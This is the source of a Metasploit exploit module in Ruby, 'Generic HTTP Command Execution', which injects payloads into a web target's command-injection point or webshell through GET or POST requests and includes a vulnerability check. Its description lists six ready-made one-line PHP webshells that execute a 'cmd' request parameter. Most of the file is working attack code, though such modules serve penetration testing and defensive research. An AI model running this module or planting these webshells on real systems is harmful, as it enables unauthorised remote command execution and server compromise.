Files

153 lines
5.1 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Generic HTTP Command Execution',
'Description' => %q{
This module interacts with existing command execution functionality on a target system,
where user-supplied input is directly passed to system execution functions via a HTTP request.
This could be from an existing vulnerability, or uploaded webshells such as:
<?php passthru($_REQUEST['cmd']); ?>
<?php system($_REQUEST['cmd']); ?>
<?php echo exec($_REQUEST['cmd']); ?>
<?php echo shell_exec($_REQUEST['cmd']); ?>
<?php echo fread(popen($_REQUEST['cmd'], 'r'), 2096); ?>
<?php echo `{$_REQUEST['cmd']}`; ?>
It is likely that HTTP evasion options will break this exploit.
},
'Privileged' => false,
'Payload' => {
'DisableNops' => true,
'BadChars' => '&;' # `&` = GET `;` = POST
},
'Arch' => ARCH_CMD,
'Targets' => [
[
'Linux', {
'Platform' => 'linux'
}
],
[
'Unix', {
'Platform' => 'unix'
}
],
[
'Windows', {
'Platform' => 'win'
}
],
[
'macOS/OSX', {
'Platform' => 'osx'
}
]
],
'DefaultTarget' => 0,
'Author' => [
'egypt', # Original Metasploit module: exploits/unix/webapp/php_eval
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2026-02-26',
'References' => [],
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
OptString.new('POSTDATA', [false, 'POST data to send, with the command injection placeholder set to !INJECT!. Otherwise, a GET request will be used.']),
OptString.new('URIPATH', [true, 'The URI to request, with the command injection placeholder set to !INJECT!.', '/ping/?cmd=!INJECT!']),
OptString.new('HEADERS', [false, 'Any additional HTTP headers to send, cookies for example. Format: "header=value,header2=value2"'])
]
)
end
def datastore_headers
headers = datastore['HEADERS'] ? datastore['HEADERS'].dup : ''
headers_hash = {}
if headers && !headers.empty?
headers.split(',').each do |header|
next if header.nil? || header.empty?
key, value = header.split('=', 2)
next if key.nil? || value.nil?
key = key.strip
value = value.strip
next if key.empty? || value.empty?
headers_hash[key] = value
end
end
headers_hash
end
def send_request(method, uri, data, timeout = 30)
feedback_text = "Sending #{method} request: http#{ssl ? 's' : ''}://#{rhost}:#{rport}#{uri}"
feedback_text << " -> #{data}" unless method.casecmp?('get')
print_status(feedback_text)
req = {
'global' => true,
'uri' => uri,
'method' => method,
'headers' => datastore_headers.merge(
'Connection' => 'close'
)
}
unless method.casecmp?('get')
req['headers']['Content-Type'] = 'application/x-www-form-urlencoded'
req['data'] = data
end
send_request_raw(req, timeout)
end
def check
method = datastore['POSTDATA'] ? 'POST' : 'GET'
content = rand_text_alphanumeric(rand(16..31))
payload = Rex::Text.uri_encode("echo #{content}")
uri = datastore['URIPATH'].sub('!INJECT!', payload)
data = method.casecmp?('get') ? nil : datastore['POSTDATA'].sub('!INJECT!', payload)
response = send_request(method, uri, data)
return Exploit::CheckCode::Unknown('Could not connect to the target') unless response
return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response') if response.code == 200 && response.body.match(content)
return Exploit::CheckCode::Detected('The target service was detected') if response.code == 200
vprint_error("Server responded with: HTTP #{response.code}")
return Exploit::CheckCode::Safe('Unexpected HTTP status code received')
end
def exploit
method = datastore['POSTDATA'] ? 'POST' : 'GET'
uri = datastore['URIPATH'].sub('!INJECT!', Rex::Text.uri_encode(payload.encoded))
data = method.casecmp?('get') ? nil : datastore['POSTDATA'].sub('!INJECT!', payload.encoded)
# Very short timeout because the request may never return if we're sending a socket payload
timeout = 0.01
response = send_request(method, uri, data, timeout)
vprint_warning("Server responded with: HTTP #{response.code}") if response && response.code != 200
end
end